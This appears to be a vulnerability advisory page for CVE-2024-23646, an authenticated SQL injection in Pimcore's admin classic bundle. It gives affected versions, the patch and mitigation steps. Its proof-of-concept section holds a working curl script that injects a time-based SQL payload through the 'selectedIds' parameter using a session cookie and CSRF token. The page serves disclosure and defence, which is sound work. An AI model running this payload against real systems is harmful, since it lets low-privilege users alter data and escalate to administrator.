CVE-2024-23646 is a high-severity (CVSS 8.8) SQL Injection vulnerability in pimcore/admin-ui-classic-bundle. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for pimcore/admin-ui-classic-bundle — see the affected versions and patch details below.
Pimcore Admin Classic Bundle SQL Injection in Admin download files as zip
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-23646.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
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Real-World Exposure
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Description
Summary
The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection.
Details
downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not. The following code should be added:
foreach ($selectedIds as $selectedId) {
if ($selectedId) {
$quotedSelectedIds[] = $db->quote($selectedId);
}
}
PoC
- Set up an example project as described on https://github.com/pimcore/demon (demo package with example content)
- Log In. Grab the
X-pimcore-csrf-tokenheader from any request to the backend, as well as thePHPSESSIDcookie. - Run the following script, substituting the values accordingly:
#!/bin/bash
BASE_URL=http://localhost # REPLACE THIS!
CSRF_TOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS!
COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS!
SQL="(select*from(select(sleep(6)))a)"
curl "${BASE_URL}/admin/asset/download-as-zip-add-files?_dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \
-X GET \
-H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \
-H "Cookie: ${COOKIE}" `
- The response is delayed by 6 seconds.
Impact
Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | pimcore/admin-ui-classic-bundle | ≥ 1.0.0&&< 1.3.2 | 1.3.2composer require pimcore/admin-ui-classic-bundle:^1.3.2 |
Affected Products
admin classic bundlepimcoreResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pimcore/admin-ui-classic-bundle, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pimcore/admin-ui-classic-bundle to 1.3.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-23646 is resolved across your whole dependency graph.
Workarounds
Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.
Frequently Asked Questions
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